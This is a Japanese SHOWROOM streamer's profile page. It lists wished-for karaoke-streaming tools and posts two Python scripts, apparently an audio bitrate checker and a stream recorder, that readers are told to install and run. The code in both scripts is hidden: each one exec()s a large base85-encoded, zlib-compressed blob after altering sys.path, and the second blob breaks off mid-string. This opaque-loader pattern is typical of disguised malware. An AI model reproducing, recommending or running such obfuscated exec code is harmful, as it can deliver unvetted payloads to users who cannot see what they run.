
スマホ配信でPC版からおけ、それが正解か?
-
スマホ配信でPC版からおけ、それが正解か?
18 Followers
- Room Level
- 2
- SHOW rank
- B
- Category
- music
-
About me
powered by 無言からおけデスマッチ協会
<技術部便り>
- PC版がステレオってことはもっと周知されるべき
- 複数タブ音声クロスフェードのブラウザ拡張使ったらカラオケDJ爆誕するのでは
- DAM公式から原曲キー取得して自動適用するブラウザ拡張も欲しい
- てかセトリ読み込んでその辺自動でやって欲しい
- なんなら曲ごとに異なるBGM音量も自動調整して欲しい
- もはや全部盛り込んだ特化ブラウザ作ればよいのでは
・デスマッチランキング
https://tinyurl.com/bp6ec8za
・全room対象のカラオケ履歴検索
・最近showroomに追加されたかもしれないカラオケ曲検索
完成はしてるけど需要あるのか
・カラオケ通知アプリ
工事未定
・全roomルーム名/テロップ/コメント/ギフト履歴
・全roomフォロワー増減グラフ
技術的には可能、倫理的には不知
・本日の一句
Musician? Artist? Performer?
Not quite.
Even Akihiro Miwa says, "I'm an engineer."
I bet he couldn't make a living off singing, either!
・全配信音質確認くんβ
#!/usr/bin/env python3
# SHOWROOM audio bitrate checker
# Usage:
# py -m pip install playwright
# py -m playwright install chromium
# python hogehoge.py
# python hogehoge.py --help
import base64,os,sys,zlib
_cwd=os.path.normcase(os.path.abspath(os.getcwd()))
sys.path=[p for p in sys.path if os.path.normcase(os.path.abspath((p if p else os.getcwd())))!=_cwd]
exec(compile(zlib.decompress(base64.b85decode("c-rlK{dXJ3k>Kz6D<+e3G-ClnkdhJw7JNrbw8dwN<Rd|A^Jv_>A<!fz0x;N_0Y5_XJ(Id*^WnsaUmPdS-g<rOmF3IY$-U%qI`3}$$3Udz|Kh6pW2SpPfB{7*+V@V0L13o4s=B(ms=B(m`|Dqu8U+5-hTEGWy&bK;A8vcSOC?>`ORG1RZm%pY-5MT!_SN@)`tXYnA3peWc=vb1yZ<)4`;Wt;-wlsG8Xo<(;nBU}n@3-L@W+#X`oo4B`c6oO$M0NUeeLA$K0o>KZ-+;}86N*+c>I5d$G;!m{h!0T?+x$%aQNnNsdRep_|d(iTB)MlTv)AXRu~MA|8;o$hvD51hj;&orH<cu^zlEP{=?6QNACd^j-n66-Z}l*{gcn$hpM;9#!BOQO&i|*)$r~o!{d9y<3AhA9cO>ncel1f6KLNe;cDoFfdM~&kRLHPCvU$8ElNN;eeZw37e+Y1Ob~r^|K#Uy4Uc|3y!-C(_!G*BHvzsDY<s)D=XGso&~`l=U|OwU2fzsq{66B^$!Bjp{QL*QqhA6r;2>~mc=X`W7ytg~{;!R%-uxvn_{;zO)>lVA8y>y&=-y9;N5F%hm<Z{!4<3E^*6{A9$e*L%pWgq?>F2*19^c0{1K^|Ief8$gPygk^M<3q*@}tj<N~Pyj`o6d2lOPx#eSG@kU!45#&t|D~^1<h)fB!EGSgoYNKi1z_P3Z5JO2cDl_1h2s{fptz4_K{-fB6Zk_;u~%`}d=Eojw4l@3Ve_Mm_xEzn^^iYlE@VEP#kXWSt2ef*6nA9v;09k}*62S^EV;Fcy+Vo4!jn{II1$<rE&j^VPfmXLx)BEHh3%`w{l`TfZ`kz-2&ztz_46!%9F}+H^I39yr~8hw#S&H4}i7@BfgB%!k9{kC0=>@0@(}qtoC1sR&kY5cUUQWz+2t4SI9X38`$A9zOV27(6Hc_U`Gsf50K6mRz1~+(h6K0dF3^u2){yH5B)^{*HDQ9hgV=nJ@`ieE?tJ6$KfwQj7m3xJkzdXob5lMra+0579s9MONX<kKX}$X}L7pRM_dFGUr9npZ)Wfe}4buFW(;?eJEAf?gSMl3`w^i1`-V?AN{Y>ci%hx%`ptx)4zZ7<fD%teR2<E`sBC&kU*tWW~d5O_DSgPSAq^9{iyvXKlmvx_oJUeO(6C3lMf_PvCk{Jo_~k<5vkFrdidbp$q(OyqI@J>GHIQzvzM%*J^cKg)3<;7<uC6)eDLG1e)DrsChwm-cz~*c)&$hUqrcGqe|+-x?@hU}3aGQd>9}1t)D|`QABfyn|M=;mWG<lM7km`U;_CTbC)7Zu-w3JBtW<W0zu^T$0r%+Bdndp6G1q@!7O0*pl^%Wa$1nf%hgy+=v`spFYSl`czSq@kdvg#Dd}7<0+wFUPs5!l!2WG<cdO@iqp7~pS#}A13-ST>^f$x)EXtC-+^ahCMU%wl8J%*(3gxei=Ltt2jpQ4Z-!3_2zAmO%8oVMHBiXOP#sNBHs04$66zUL>NDKzqDKKa`L2|`9l+X<ak#|Z)w2x6i~tVFoq2fX6t4Yw7RwFNhT&!s-{#Oai^RRq~<k+Rkpz@ROaK-?McS!*M!YX$qgmhJRi0j~k=fDWHS+BGN8VgoI|DFllCj^8s)ySy;_o!cw(uiR|dv#-t0FU-EQFsIeEhCd)BvezR0P@AKFpe2mr1Q;m1==BKdY~Tc`Y3^3f^T|5!2flTo!<!6ICgD&!0zV!^Hmxr^9q7Z-(&EDWYjdmi+R6ev)VIU1AJnF%c6WCzA=xnAc8JyTx>LZGDf}_z_3%#sE?Z+|ZuZvv;wuvZ2tts&E=Yh4;`5*B_;K6y1ODak8_tGrJ3EfsaW*=nKCPG5W&yfE8>HXzzUOv2&eRpFsu{Q4UfbIZw8aM4L96<L1`ob@`2}t7o0m;ZXBB4qAU>d0Uv<N&E0?}yUHYbGyn3^7YoV-l+&e^jg|zN?QR(a3AQEJ1dS=F|;{UW&XVdXrUQ;ibr5kfE&#o;r?4`BF@>;`wd7g3<+GOC6GhnQPQM7H-+I7QiyXSO?p=Ud7x(Qy=*R|_jw+mf)YkBUKN@G=H+@akXXqza)SjQ^OuHBelvKi0q#&?$IRsronb+7tzS*z|%Pvd9x68*f4pI4_3OQqX$FM&C+=NIQ2_UiSO`Q-*w@=-GxhN;zG)DEE8yOfKTZ3n*HZ$W|e<_qu`^iL3KyS~#$?qfru8sg;=NGH5x0M@Yxt*L45re=H%-<qI&KzH@nW2ytR+W@jp+RN89vKNwGJ791aU=G?Jv_j7}EXxA57?{yZ7)*mciC?@BJy%;{^#{SW5pKJ2k;78_8IfRt=Nfv*Y-k6P5kFw{mNvdiTA&$7xGY{QZ5mPiGOfgM$b0~BQ6YSLh#$yI;{x=^G9mtTuh#?6FpMvl@k_9icib?u$f0S#Cp9a)Uso4rmto?R>{|yFjuv+?>#Tk&i25q(>^I)vz1<;Df}$MsP(wj!t3!HQ;kI~7<#2_dVnjey<@rndAyJ-oU}_eGjp!LlvLOi3yiG(Px)oHr+WRmF9E!w2Ck%>O@w`fOCoN(D*g2=QZ5X~JoI(P9i*;<hu3d0@8_=?L#Si-zv~PR^U)}*$u$Qz67myjg)g^7$X+-tdD^r$0O=ZQ!x;FiS^b#>6UTC9lZ6IG(NQ;2t<H&l0?gsHMm@?x4MxtykL^RXT_HI7`O=9>hP(&6uZiaYPmg`Al=1>d`{_Id|IbmyCGhnD6;7k0E4Pfmc7LT&RfU?w(a!dvY{GlSOXp3H&z5c4bxOU@}xuiNu2y3h3w(g+*$M($nzO!$ku{PRXYk=m>0`I`zUnL!adSbTIG4zc=7<#?(y6=J2xWIm0XqFvNvk3tt9TdPAg%!Y8VpPl8Otl(yH7gtL;b<^O#|lAP!GHvf6{4i*x@m>J+Z7T?RUVW!v0~`<1|)ty^<NFNd~cu+VE(5m*Fqi{v@k$|zn0r;bp~w`82Y1ozj}1^Cq3g0xc6WF@&jFxMLKYxITmdTP?GLJ)`y1?V|Uy(@sOz_I7!Rsv|X%tJj`~aVI~jT9jiMCQNrP=XnCY~;OUNqZI4GUa;1;skjr)7VsxWS>zjifReHb#{#;nAd_gsn;?}qcmhy(ZuylPEos-DjwK`tQ=@@3B+-hUC0j>}fe^n{H;2~o(3)iUAx{m(qI#{f-=22VGY*G_iDwY0A<o6mNyx$|eIy#AFiJ8F_a0r-x$UPtM;(B5H0GuQH4%x4vM?jx;9k)jv3ihZ7{1rNjkFnI~(^90v&=rXhph_JC#h|l^>f^v?a8|i%biLz(FfvGOvI%o0x95hoZ3LvVS*DW{@PKRDX2)|t0pax5B>`obsa0O29(65t5}=aB>tJ`XZ|Z9f0$!u4tVS@+QcMI&0jB`EgHlehQB@tIgO-Fg`2MwM0<#|Z=uPhKM}?_R$L9P%z2-Z;En+AXUDT${T1lRg!UPMzsIx6=h5a?)aar32N?~GMKhW0#;#X$3fSY<vTbn&J6-d!EO8$qgY7#p9^!lV{!0(9tb(yawPOe~9+J`|-(l8m>)O3hK7G<YO51%o~6He=9qp=)K-;k{-;DX`66!<J<;Pv-WwX^py{b&>9^}%KIkS|xS;>Wk)W9ABez_%;aDt^r1$0hu@e3*g?Itym)5^$*_U#u%amBS9l4M;YzwzC-$pOee`5}h7HU!j4XS$wUVSv1M@9q?$R-<BJ+-7PmX%xr?tyRtEQRA=MLkm{y!kxpJeOK_^z743P=5PU&VPE|nxvS{eafN7usQ@Ju5gBI{#z%tEDK`|6bfr%#-l(I7GH_s|Jz|Dy|bOQwX&Zy==i;~=kTZJJKKa6Q|11evNvY;Xp6^S(yh=z@^pDg8s1}UbOk3lR9rq5{yOxG~g2K7v<O>le|`XJn_T-D1OWo=N`eF8SSMd&nD#*2<n7GC(9LOU@o6&2O91r%^LHZU>>2)vL@cMIchEDmUs9uNV>-AGst)XaSP4a&j@_Q5j@+fb>j@$W#cG?YMGww(Yv*Ed+TvIY%_(CLX$m#KPLMN6t?2=eMFE^RoiI{^s8cFeAfA(Dtb$^ZHogJWFjcw1m%H$6ay$_%`Z4bKBZ0<(m`*&;EkWBzajC@LhlUlOv<XD56dg#IReG4$td)}Fgndv28z-S@$C8=Lz2{Nl??+CfzDu&Etz8V;f97)`0i+=mApnAvkzg!gZUI6ZsQC7rgh<8%f<JM+X;sYJ2mks4ac#P-l{^2noF4xIavBvx3{;w(4x*Fzvn*TDUcANlD=J^qLjNxGocd~eryo)Q`;G{!7uTtOVxcRkRJa@+PyDxrHQoD7JWgl@Nj9b?ybL4VgUOl-05Wo<N8R*Dw}8g(6cvxj_%d4i0~AVG)|xWYD0a%}YG0wA3Fa|!>B;-y|Q`iV{6W@jH26Z8$MWJStN3Q#hk2?*(7AA(^tBd0T{Ng%oJEr#=!?+yA$El0v^st940p{z7Wu>!up^0Xo=omp1$+W{pFa?-;5Sz=@g*MU3wsc|W$j5**@Cit%uTv5vHQSKCkjYTb|-OdI}xoTnbs@FDB0Flo|wu8fCx%_WAzYw3?)Dw*3k8$YeW_I;x79`b;p5;|kn`g>{o3@n;aUW*UG*C~a8Hh2IShbChYthmKo%uDXNJnlzl;={t-NC8FI><9jlTotRH|(YqOzcPcnl%UK#4z{8sW3p%saGexhFZGW6dD;y#C^U2I+Ran;CWf2EOxpZZAaUqb0uSs!T8&O({aOnzyg$2C8vaQ1p%#7OwwRtgxfTzh6WO;vz<-{xsG4A-K}l$z2oibiJ>)u0kx!5XL3WvpT(0}DQ5yg3yS7Q	{=bv;|8e9VsLtJsg<_YBaO?nkx43Z}fF$dQz!f)$-qFtUV#aSay(?Jl^d#J6`G-*tLnVDR6<VJlMu8aotJS<_X$br*w)$U4qD0iu>&h$(k!Ge9#T7dL=8yKXz&mZsiNKALn#vg<p$!0sLuTx!pQKC}~`1oG^N7O6+2(S33I(v+2R9N($Z7HL_zC<o#AVSrO?L;w2R-!v+JQ(>z(74Up&NvZ9!Fc`4h3W(#kwhdo@X?F3(?fDyxn|0&$_C-@KQ^2ZDOEH9-4GPbq*35v(2U5jQP@7&oOB<3TXI4woBRN@WebMQ{;25d8Wo7XhLle|Fisg)R#2n9)SSq+s3+!B?eG+&b@M7pPKx7MY+?lc_8;e-NncPy*kM%-Slslr5vqNW8GAKR`0zPJm4E1MZXfZ!UYj6c8b8O03$|{tUlt-hnl!{_#D}x@o>~y|u=(lE98*?l6?fJ&drL~6r+U&~w>|#T5g6uNY9)b?U&NY%ilGI6i>(yqaS(0ItQ(R1zFqO_8(R$wh0S$!P0olUfcwneq7pb&#k4n#3o)HEyM7)wauN0<DQ&_0dEtirCk;)9M(~P`h*H`tSTqdm%+XJ5_mPiVbl^v-Pm8SglbYqrA%$znSTN_2N7+9p=&}*P6r_J^0rg%_h52{T;d*=N4HJlSt!7hYXiPt<SH5%dLQ?hYYsnkRYHB)=4V}a_=atfcsp}eLmtt0>!QJXA)CJTHi9XaE}0!JJMAjZnLKy8O!=yYhbu^M})92;#;%FL2~e);)}SGSy5_u0_(+k^h9oYq7*hiRs(r$kK<O9B*m-hgEaG5YmLRbVr79YjuMj*1(OO>C<o|p7GLHCVGOY9y*Al{$J5$HQAmJguP$m=wHJB6(wfvU6i{fHruMZurkzx?u=6ga>v=XyD8ThpLxF&S(Wdqd1oE<}UAv}THMKXiWRaPs0*v75y@ml~QQ#8%r=lt=l$%nMp%<?*;`-gt?z?TFW4ZUp8MnKQDXs#+W$jvB!C%oX$Bm{*&@ew?OY+#t1e@|2Hr<S2Fk&)UG{aalJ%UA-nu_vJ3Bq1dB~dh83<dsMQt5(MmlZ3@tEuAJ%@kL<I!ZnG!ZOR(tsh5br)P=^?MxQ>XHRHFS7O9=Bt_NnBu!7Ne3Y1WF$)oAM?Cq4p`vyxW}+QtjF&4T$BR6juP1t^6fZgvRL+jSpF1w5$B&B{31BdmiI>Ln@NzS&8Ns?rZc|f&7U^Mi1wg3;DP}=}%*R@rgy^1zfeqH%8-xZf(#zv5a{8pXGj>rkUgGFGtvlc@2k!S+7-#zGRd9>GJ%i~lmlH7?Z*wys(mJ(NH{rf`chDZI>V+nnFc8WMCMEd#8kKcygh}HZ0Ogu?rIxiahlSRm4j;LfzctC49Kgjqt+YSq(c~+sS;<Hg)C608B{#OjnpaMNNQaofv-Tb6JeC;&-Og6Gpf8i1=!#4T*2$Qylk9h1%M_ZAmrS{boD9B8B!gItUemgKwn1OCcov|6y(3V;=w<ayZE7mjUbHuI<!g$yQOOVnL<!{=Q!tEqsmeUtL}VexlN`6bmy%vepeZXNaLXe}g&~QRp3f8t_6!%d7*p0+-5Q5+QLfZXd&c+<l!^vJPK!n&*tKktPP_FR)0z<0b;)bkn28@ts&3;_{8;h~Kni;SrtaB<CzKli_r({rZ<(O?re&%VMaR!NsFt(`n7Sjl%7K4V1um31yi6+ZjhT3fyzTVaJ_)u4W+P7D>rk+l5bR}>>FP@|+4<E{E>OA=t$`m<u3Rnz5;Z8O&P!%0hRp$i_K-Ti;QEY&u0xl+csDYbO|=OO&qd}DsWszfZ99P-ue6P9&NMbBIjxuL1GWN<%axC0b85{bvXpC>KS4%0f?lQ8BQ1Y9{_da;gBSHdVxpA@2;^dPV<)%}Vp+E(kazQtE1K@0&rEkYxd@{`c0<w)3>xH36ie?OI4ssu><y?N6H}y5(rN&ir1;|?INz38w_XFU3p#Q`e;sC${J&{E(SKkxS#lH~72l>BmjSriOb)<A@oNeN>47NQkc)Md+)4siDL*M{1Q=z~FO}mCLYFuJrm3h~MT|stWjRW;kP;#V;3z3_;z%To9<$wWJQaimCzENUEZ_>fS3}{3ND<_Jqjbu8lvbGv=5ZNCJDRchuWT=}*xo%uUSYPx+O-s;l44q@WpdVYDN459m0plzEBz_`r^J9u8IEAgC`u(Iu^gwt)^)wiGhplb;*x!HVO3;1(RCkXy@AD|63_U$!N?T~bw$FIf?h11O`WEU2zM3(>lrj<7e>nJ8Pux9V_~evUlT=S!K^F4;)1EJ5luOdZdsjs<<{I{L+KkD(X*2-rutTjii)5l+pW}Uksyd1>S{@uUggFtvzwHiLB?UEhmpvhi*Srjy%h<S1>F=5LQcLMQ8QOf*7N2@a@$gwFEWH{DaS4!bGkc0P0QLiT{!BRtl)3DpXpRnmePb6q=-G6tWu+{E5ji{?zMBmbYpF0wlTl7D36M$Fkfjl(tLd$9r~#RQK?0}akOCKS@g?{=~{YKkTY2lIi~$_L#L`Uk&$?Nc4e`tDH~ITtvS?ilPjAI)el5&c}Ak*#I2M#zNsVewglcR6(6u?=wSe2&#kPeXyRSQ=gYvDcjwGDoi#!ArFe=G&q|bY2BT~qnm70ay()g@f%HTimm(ak4BtyGW_O$o!WN!2o)gBMvp7l;^NC0L*a03&Bt<F{2UMig#B@S62f~xGy&jPaS=8g;;uFmGov!k2N_)0A=7BBo!+a7W-uxj8Z&Q4xNG+!uP|^n;SPi-lYZ*8)w?|q7+!8E-uS?%~&Oa+8#W2~y3thU2`5<AtSYay|Y(R&lGa9qq@pN*bA35d8T>$6@XYTg^c}l;?bBa>3m43~IM}1+|C~3+wy6z7TX-te}J|_2qvNDWsSSq7e95iG|Ye?Eg%;AjeSX`Em-mkN-&G9Y`6T7Ig#eN&3v)ywyedMXD3H3fG5+-YQK@FB_%_O?)_R`9$b1RZoR-py!GIdQhEr91rQE9-Yg5P3!5Y!8uh8t4h=ag}c!4;4QdGy!iA)JvUA*c2?wF6a;9ma?cVxWgp2Qkd?iT_zTiY-R^-Uc7CaW<#TxN1m~=#e`L%c?e}sy4mh@tK|p$Bh^B;8b$!S!Tg8kW9ByW>O)?lJBd9cIhe8KN+wXl1&}Mr|lOq!8@yWI8j?S_2reNm*(tq@DeBEF+=-Qy+y{>$$ZAMG)ndz8P1gYuwmq#s~>qL$1vgd$!*Q|{FGA9j_>!ZxPGIIMw$6{T2h-wHiElZ|Djx~wEOT3d0Kq<J%+E9Zr<5d!ZYYlMQ0QOpPr~QC1yZ;P-Lx3Z1~=8KzQQwxh_)hBN$W9v-DxwIkTxtOi`uXElKZL%2^xd;?v+Uw)U%Y-;sl5eP@esXKZuKIcfgXL5i?Ly(Gsp*+Kwkz11VTHh*gDxMUaC>+1(P-SME;wCS0vRos+C@FY3-{jHhmVObkMP20g!BI;|iW+_)^AmQkeGWZl1K1yf^e1zKx*`Xal%Xj;skv@DZqtccadWPT*-~EqU3p#bZ?R8u1yd7LTBW*oChr*5BZ0&h4KGmvO;Ft@FkYYefPM0XL+lZm}NQnBzZFh)-g{A4GFwxT@s^*#YUKgX0;I?EWY}C<7kBwht2X7>8ur%~y_Ns9N*Qa~RGRaLGOO^`UQ)Pw#*yJNRS4wO;%ZcV^^6PPUR*Y|%yvyg`G@c=qDmxj!vX;%dBF-MGOVKw;{>C+4)R3H7HaRvuT&*q@pPJHU3N|x_VEzZ~sJPh`Ew44%N1lv<XC{_3L5Z~|9x9t|&*^mb)7ciNg<BmkfQD>dU<gI-ITaF$HD`RO8%&~_xr;>;TfpV(>4hRcIyo>&pM02H7Kv*8^P`gG#H`FMFRe6WdYLeYmC1y%iqE=Bk;>YnR7^E9yJnkoLMN)okE2q+Rb;9Z?#Ok|n>RP+78<i@*3e#L+pQ$dh?D>F_#)Mk*^*n0HH_9WVi1*x23%Q0^(U>iN9@Ry6A56fLrVoKpOuk?R!-$U<ZGsal#G#p6`xd3PYkW_;%xS5#<g<^`ZeZn%`L4po=!xHPlldkNGfk3lSL@-Twy-7d5XDV;+T5r5j!o6o^&;CmX;OV%1ke#M_rw1#pKrf>MF*_SLRmN7KAKh9=11Kj#`sAYcDz!Nze*CtLMnU&4twn^a1|@6K?_ekfnr6V=AnQLy`K#-(*IY_=YSiyxF4?0p%D_J-zgpTzn{HEIrmUmmtq8Jxl8SdTL$LloBVMe!xx)O|t~ld{|BQN@BF~E>b5ZXYMWxp9o<(;MZTUpNE>Bz=5(S%EU?;WbH!b!l7syC<peXW=(G%;+lP$3#zy$*6`@zei9w@R1i?CnTkJMSG4w8Eba06fYGRhIYPpcNaxoj%RVnaDd&PnjTjL)dct}uFI+UC-og~$PVv-?F;OTUXv#W<|8bXMVvuW#5m4PM6^n13S8R(%&V>MvU45-9!SviE(sELRuy#$No>|ivMbWU9$rXb;=2^yDI^@)K%ExD-vgj#CQGtW>APc(mAvnn28A3Aa;)|JKFejtsX`4*mC+BT7aWu;ztGcWVaQCNGl~3WU$Y+vrT@c4q<jDaxRXxu%Q8!_)N5skF?TNHE>q^}GY1s5+LlddoF~jO9hCcJQy@*`>fAc<(dFPjkt&mD<o3!p|c*P69l*PpZ!ZfefB3kINJ3ZXZeGNLdi$N=m27so-)Kc4oN_1_r6vee{rj?&XdqL?-SPhBhw9!bveDXG<kncrXhG(BVj<bcc&Iu=qG~+hybn*Vp0mk3vIdS~;guYzQ<5DGiZX6UE(ak~UEN&j#SszbLvy(88`(g`hp81+YJ{c@LBP+c;7^x<DE+%^)orx)A75inw+v8~=@`VK~AtX9@*&p;U+F)dytDlPObD--w6G6QxS;G+#ivmV(tl=AL{1OIG73DE0w)HUyw?Y!@vb2|T&UTNav!3{!o5)+wOz4#*vYu@sB^#U*1w*ag_nob-Q-cAbwY(jEd`hZIX@raRXms>AzGL30a!Cfu)iFRq!F{cB`6)AL+{AqKiYm;Y+S(53dg4k66*N00%ZSgwi^p*?z445G@9L}b%gb{&M7&U0<VlHm5>>Ie?O#K}Qz|w~d}2Q@t#e1nc|rr9gQ!RI87Z%nYvpHhT#QO?nkaHSd1lk&NxPCto*ZlRD7eU(;bR`>eZpLv*S4ut`n=FH7wGQ`&5>N7w&Yy$=+)7#z~vP2^Qf6YE1wx#>Y@iXaC=Y?{AMFYE5jEHCSzt#v1?Jvo<XIDK(1FoXGJ#`R#|tb)1oQ)S$Z0zOVF7>)(;dxjp3+|C!A3!?yk%@1uA!b$A?dNN`Ec7k%+LU3%$l6<L;=krqfc;%jgS5Lq+OM`W{T0iwEoD9E?6-VkFSAGo8h+WGPN06v{j$H#!drDy&C^`Qdt8x{{ZSCT|l_?jKDQHq6N8s?jLvZqydujOh-#R>v9iTHCR-rQ%Yt*x?n8^>w{caR#A>uqu78<F@ue<ySBPt+GV|OgpXMr9-Yy+Imy&b4)f9J#?VQwCFX7Fz6q_kXn?DsKtD*MFjGzAJbiI2_zB1I5Ro-maw>YvWkck^&*JsLE4PW=>7`OsR^mYP5uMF1>Qt@CyI1$LqQ5D1p&RMAP9}D3g+n6;58J!@W@h^FtD@Xk%cZ7Qu(+|c7s9Nkk}ydl=7}ENbNO`t}6)KwzQBQ3u@L_Qci`4ML#YnNz{l8NFY?;$vwhaA|^`Cd72If$89rFD(G2cwKQ9SWZ;)BO@^WUl$#r4w-Nie2J@4h@eE+Le}m?2@!bPP_BIY>b4GmdYJAa%dX{DO77B5QDD!(nepaDv5%k1%aVDvR6^|xeZ_*)W$KiPy1HT)99)5=B43?u^38XjZ5+AeA7^;|FhK-+Y_?$v;Q>ZemqiC^pcDagj%?bmAT%q5ZBh~{q=*5mtbVqhxIH|xQ-}r4dlz#i1Hrpt`iZ30e_M9Y68kV6x?w*KI3y!%hnZ!e()-2_jp#F$|*D`c}5hrDgqw-kJiaNhcY1J`(G`^oESY0Z#%2XgMQ7AM~C_GUxvm`4%F)}bwC@3%{oi@v2XG?LG5_?LgN=%}|{;C@a&rNGRU45l!s^S|WDP7#!)kpglkuPBu-Aeg58zY4$!HF}U;K3LvYn~o~l!zyNIL1gtk*(}U9hyODPO0$7#gUl%<aT&6Y-iizN$U#THD+t4G~UFyluGrdvk{bEnZ-nyE*Rr=5QR5=%KC&-pLZMadFYkggE`dAp*RdFE#_Z$m*|r{Y=a(QijEUoEQD|Dj*&&DOM<@B61Q67Lv+=m0<-=Wy?uU}zA>bvf3|rLgsZO4_kuoYg&3cl5-A?oC)$P^;xtAxFz1{lEOj~>A8DO^x|dR0y}5K7)7AKGhPo73V)W1riw-Bm0LPE%m<p&7+yuDaCv|={2(;CKX4fy{O~u=!)356dy4J<jQk(B_08f=LQMB~YnAqxKg|03NWYn+<R96L}Th1QMU5!p~3_XsuC^D{WbJ{dL6E_MEln}aEG-(WQuCO!PFeBj7JFGP(#n@YXyQRkO8Xt!P%v*(<w`@F@1)>GA<+K2k(~p$`00rqF9btvXAmf{>pBg^8`F9kyOA#08Hes>@pp!T>14QJaNO|O9VUEF!>#|}!FB9{$EQ3*!kpNFy3}}n-^KlWewiOV@{R&-k95ITkvB0ll(P;2)5Wqw<;<UEeawec3^xDN5IEnJ$9d$<K5pDmcUe5@O(#XDzTRju)l&Qc~{1I3q{T!p`OSMwko6}-yI{@F2*df>s=_ME8K`#!b_NZ?L?eBVRB6YIxFA=k)ECS^)1SaVGuFP^K5u&s2xcy8NBZ23u=!m%sSVZHu?0D=-UKo;9#L^4UHkn14%Wf#Iurr<{_O-S>w*~WTLvIB;c*kl8f250U1x@UAg6m5ZsK$VT%fZUh3!=^O49+6Y?Z|yAkl&bld3J4~VK1#Ume(5g%kv9!2~sWyQt1634oq->#X4U=z?;@h>q4;(7jDhyF2CUhcvpGs1a-WvK=W{w0{xsZUC&+EF;cbd?P|M@--98P172L4#IVRtlZY%hxCpPV?Tom!z9hm`(JhZ08l5NsJ$BUII-SqrYpdr)kE6*heIeyLCob)vH$ATIgG1V#+jA2>lGYsrA?Om!Fpbk88ALgGst8co9U1{wK3-@%RLN}^0aHoJC<0b>5Jo^|nL&l&%8tMYsB*$t0jRQ(AJ2se04MDFC_W^zjIWL5glfiP(Dh8%F7A9T0uu|4fR#$0D$a#MqavMeHJ<FWtxvWfjz&obZ-F{ViC{T3hRRtZAfkC9@g<v^c+D3~yQs&OEyjgTO{65H^1S8FHsg3JU(&X5!pDQL48F>FrdO0qcu}4HU9U;yScHY0SsfvXX3GMuqGshg0F^m7%ZTL24kVakC*3&!749C$T~uru&uz)J(`$E#e0eE<!486?86p&lxED%rk{6@)`)hS@38d8aBy6uwxEM;cz;)RLN`*12>w|E!a<vk;Tky0;cJUt4x-NxQl7uN(GLLprP%@tfGxE_hN@RBWF1uh5URmsip`c^eqVkOmVEXI&>pk5ZarZ|7h;2fpj3BU3&%qF*=+e0It_=W<3{-0HQe=7QS&w<Hc=BD8C!Tyk4UGtaC0`1Ak@ub^ThoYHPR-QIoF2ER2+L=kWW>)Ujg?qSIP2+xE)Sw-F3@L3)C)w`3rE;9kD$iA9Oc}i`3rf%TeL>5<VB@MF6Bj~#x3N<1xF{+D`iI~(<?;_<T_`SAG@ZQtWc1gvDwZ_=_sMS7!A2u(MsXmRnTY&MK)R4#j=hJAAfXsyb6*Tnm>o-kjW0d9D5Fxn)zE!<yVheF_~yBBx#vOE{sf;R4u8fNe{|A|HSH1ZO+)ik@fF9cXed;S!W#I&pXpTMM17TA7|T>!$3$uky70Bk0}~?0_6hIVvV>EA(NR!Dx`AIi^3jNI$IpFos6uKqYizQlUbFxOL}c@I%i2wniQD%vY9mv$XVH&be54yjVY9mT$gp3lGUqD19G!Sm163NcA4B9JN-zoC~$U2TRTWr8$V4d0eYK`1KXw(2ivA2!{)eHu&(s~0267*eE")).decode("utf-8"),"showroom_audio_bps.py","exec"),globals(),globals())
・SHOWROOM HLS + WebRTC 同時録画&音質確認くんβ
#!/usr/bin/env python3
# SHOWROOM Dual Recorder (No-ffmpeg Portable One-File)
# Requirements:
# - Python 3.10+
# - WebRTC recording: py -m pip install playwright
# - WebRTC recording: py -m playwright install chromium
# Usage:
# python hogehoge.py
import base64,os,sys,zlib
_cwd=os.path.normcase(os.path.abspath(os.getcwd()))
sys.path=[p for p in sys.path if os.path.normcase(os.path.abspath((p if p else os.getcwd())))!=_cwd]
exec(compile(zlib.decompress(base64.b85decode('c-rlK+jiqdlHfbPA_ukZ0&EJRR8^ib%XBX-v0PfKB&|fb+DF#nfMimFMFMO9)TPyY*q42qw>kT|Z~F!NOLJyEV<YkcWC95gRH=JBXY4+$BJvU$85tQF5gD2J;vcq`NxVG@!fhJflEp)M9fhx2FUZ!HTVxzfg7B(Kmg#isEvB?A%W9o{IR12ceEgA2mi~;ybR5MK8j~N+4~YHY@Qi##KGD(XaL;MA-p``DZfnOO2jOCw5}#ys<0zVw^V7rDu0!@_!T5%prGA`}G$JE<6@+9F&1TRzu_tuuFJ~#Cw={kryCk7whb+T1n2}j<OG$$DlGZDSe7dHgn${+Wjvr10LIPKW$_fx{#*h8kjLurGb3CF2RC*w3FsF#mGzf#_n!!nY06q<7G-<Vtmnrlq>9)48nJ)R#y`Cj*nh;_ymN6wKjFb$8gkH^Qm}azUlMuj8=L>q}Ky{8CLb#)&I343Zb7G&&{D-?ZxVlb(q#x-d@J~hkyb^W<aLB59?AskDx5U1p=^1_j*7L=TP6P#a7zNo#wx%(Rg6B<_DPZh*B$zKEpo<@d5!4K#5c(<7Mt(xSel5SC0r~UVPp)UdNPhmBM4|ls=OtZI`4MNo((9P|I1E_=P+I<8#xU+9m&S1v7t&y?l47}-LL*7adouA;e?0S(geI~pSyEPlvT@C`**DK!_$hWpW}d(&&qyB@$TcE;4>-mj&1jqK2jjF&4ub^#9xsq!{;W;T5T|eq`NJg;J|kgz6ND+u6hDEV0<cIDC6KjXoM+Kho6KpF_*Zlk-M2{!<y&d|&}|X;kK>wghnqZvW6xg%5(@jy^INRa$zlKJPp1bzd>DHDpZW)f{qGM4q(_D^j1ava(?v=K>>ua^Z>9hS3LixwCFBK?gLX-96-F_=0NTPY<nPP6hTi)#7`#>sXTNtg><`b+JedEGV_m1|BI#~#-`(B0$#ryxvSAD7u{)0D+t9IXOxZ@(UM7FU-yV#<cS9d~kLuS7WYh3;(EoUF^h0yl_yMqiCFd~42#YrnOa$~`vigHRiar0<57@Z(cC6NUAE4W;!`8>>F9C4G_8YfD>`y^BiS80|G$cD6xATrb!q>0gk^8Sf!dSdQe*tU(6Zpp<-G1}xAKh196Z^*x!;gn;5MMWx{6NPyQC52I8pfM$@9gfn9sD0T^QV3sh?-W*Y4y*C$KL4xsCqi|KJ^cV-q~Oe@O$NUTCGom??F&_I4s}y_kQ$_&i8*9cxQX32PZ=)6Qdxo9n$-bJVJY8nDa2bQ4(TT6DZM-WB<WLrn4u}c!?wJ0)xj7XLLr#X%zQoGus+1(=-a(7jXmxdda_DUbcP9aoz#kX%rKi1E(_*O_e6x1b$Mx(<ZxbI*!B8kcg!B$aglKxhcI*_ac}qAV>fDS7KR?o5sQ1X3z-<ro{dSDD7ayGzgb8Pv8C@HV*P%k(ZtSvK;`dB(+&#fCT@#K{%c*C